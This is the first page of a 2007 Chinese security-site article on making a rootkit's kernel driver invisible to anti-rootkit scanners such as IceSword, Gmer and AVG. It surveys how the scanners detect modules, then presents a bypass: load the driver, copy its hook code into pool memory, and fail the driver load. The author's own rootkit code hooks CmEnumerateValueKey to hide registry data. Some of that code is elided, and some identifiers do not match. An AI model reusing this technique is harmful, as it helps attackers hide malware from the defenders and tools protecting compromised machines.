今日精选 ·绝对解密 XP系统中隐藏的10个秘密 ·Windows系统文件详解【大全】 ·配置Windows Server 2008高级防火墙 ·带你现场体验专业服务器机房 ·屏蔽五项功能 让Windows XP极速狂飙 ·木马免杀技术大盘点 ·如何让无线路由信号更强更广 ·各大路由器默认密码(完美汇总经典版) ·如何构建安全的入侵检测系统 ·电脑故障维修判断指导大全(联想内部文件) >>>>
编程开发  Java | .Net | C/C++ | Delphi | VC/VB | XML | ASP | PHP
数据库  Oracle | Mysql | DB2 | Sql server
应用方案 无线网络方案 | 有线网络方案 

网管天地  网吧管理 | 路由器 | 交换机 | 服务器
网络安全  黑客技术 | 病毒漏洞 | 网站安全 | 服务器安全 | 入侵防御 | 防火墙
操作系统 Linux/Unix | Windows 
您现在的位置: 企业网络安全 >> 文章·资讯 >> 互联网安全 >> 黑客攻防 >> 文章正文
绕过Anti-Rookit的内核模块扫描技巧
作者:佚名 文章来源:本站原创 点击数: 更新时间:2007-10-28 8:42:25
本文描述了一些方法,可以绕过目前主流的现代Anti-rootkit工具,包括但不限于:Icesword 最新版、Gmer最新版、Rootkit unhooker 最新版、DarkSpy 最新版以及AVG Anti-rootkit最新版等等
  目前的anti-rootkit工具中,对于内核模块主要采用如下几种扫描方式:

  1.恢复ZwQuerySystemInformation的hook,然后利用功能号SystemModuleInformation进行枚举,例如Icesword。

  2.遍历PsLoadModuleList,Driver/Device/Section Object链,或者TypeList链等(总之是找驱动相关对象)进行枚举,例如Rootkit Unhooker,Gmer等。

  3.内核镜象暴力搜索,搜索MZ,PE等等标志结合进行判断内存里是否有PE镜象,如rootkit unhooker,rutkowska的modgreper等,通常只能显示为unknow image

  4.函数引用,各种routine\hook等,先HOOK一些常用函数,然后当驱动去调用这些函数时,记下其地址,检测时使用,或者是根据各种routine­(dispatch routine,IDT,Image Notfiy等)或各种hook(inline hook,iat/eat hook等等),通常只能显示为unknow image或unknow xxx handler等

  5.使用系统ImageLoad Notfiy,使用一个BOOT驱动,记录所有模块load的消息,检测时进行分析 如AVG Anti-rootkit等

  先说绕过1,2,3,5的办法

  很简单,使用诸如ZwSetSystemInformation的函数加载驱动,然后在DriverEntry中分配NonPagedPool的内存,然后将功­能代码/函数copy到该内存中,然后进行必要的HOOK,最后返回STATUS_UNSUCCESSFULL.

  这样驱动在PsLoadModuleList、各种对象链里就消失了,自然也就不存在于ZwQuerySystemInformation枚举的列表里。需要注意的是,copy到内存中的代码要尽量简单,基本不会生成需要重定位的代码了,但调用系统函数还是要另想办法。我的某个RK里是这样做的,例如A Function用来hook 系统函数B,其中需要调用系统函数C,那么分配一块内存,大小= len(A) + sizeof(ULONG) * 2

      在内存的前两个DWORD放OrgB,以及C的地址,后面开始放函数代码,函数中使用call +5 对自身的位置进行定位,找到内存开始的位置,然后得到OrgB和C。当然也可以在COPY入内存前自己用绝对地址定位函数~不过不如这个方法灵活

  相关代码:

      //hook call CmEnumerateValueKey  
  void InstallCMRegHook()  
  {  
  PVOID _CmEnumerateKeyValueLoc ;  
  _CmEnumerateKeyValueLoc = FindCmEnumerateValueKey();  
  //找到 call CmEnumerateValueKey  
  HookCodeLen = (ULONG)NopFunc8 - (ULONG)NewCmEnumerateValueKey ;  
  //获得NewCmEnumerateValueKey长度  
  HookCode3 = ExAllocatePoolWithTag(NonPagedPool ,  
  HookCodeLen + 4 ,  
  MEM_TAG_HOOKCODE3);  
  //分配内存  
  *(ULONG*)HookCode3 = *(ULONG*)_CmEnumerateKeyValueLoc ;  
  //原函数地址放入内存  
  RtlCopyMemory((PVOID)HookCode3 + sizeof(ULONG) , (PVOID)NewCmEnumerateValueKey ,HookCodeLen);  
  //copy函数代码  
  DO_SPINLOCK();  
  *(ULONG*)_CmEnumerateValueKeyLoc = HookCode3 + sizeof(ULONG);  
  //进行HOOK  
  EXIT_SPINLOCK();  
  return ;  
  }  
  NTSTATUS NewCmEnumearateValueKey(IN PVOID KeyControlBlock,  
  IN ULONG Index,  
  IN KEY_VALUE_INFORMATION_CLASS KeyValueInformationClass,  
  IN PVOID KeyValueInformation,  
  IN ULONG KeyLength,  
  IN PULONG ResultLength  
  )  
  {  
  //下面找到本函数开始地址,并获得保存在内存中的OrgCmEnumerateValueKey的地址  
  __asm  
  {  
  push eax  
  call __  
  __:  
  POP eax  
  SUB eax,offset __  
  add eax,offset NewCmEnumearateValueKey  
  ;获得函数开始地址  
  sub eax,4  
  mov eax,[eax]  
  ;获得OrgCmEnumerateValueKey  
  push ResultLength  
  push KeyLength  
  push KeyValueInformation  
  push KeyValueInformationClass  
  push Index  
  push KeyControlBlock  
  call eax  
  mov stat, eax  
  ;调用原始函数  
  pop eax  
  }  
  //.....其他处理  
  //  
  //.....  
  }  
  void NopFunc8()  
  {  
  __asm  
  {  
  nop  
  nop  
  nop  
  }  
  return ;  
  }  
  //上面这个NopFunc用于NewCmEumerateValueKey函数长度定位  


  这样,基于ZwQuerySystemInformation,PsLoadModuleList,对象目录,Type链,ImageLoad,暴力PE搜索(­因为我们压根就没有PE镜象,just one piece of code~)...

 

[1] [2] 下一页


免责声明:作品版权归所属媒体与作者所有!!本站刊载此文不代表同意其说法或描述,仅为提供更多信息。如果您认为我们侵犯了您的版权,请告知!本站立即删除。有异议请联系我们。
文章录入:admin    责任编辑:admin 
网友评论:(只显示最新10条。评论内容只代表网友观点,与本站立场无关!)
| 设为首页 | 加入收藏 | 联系站长 | 友情链接 | 版权申明 | 网站公告 |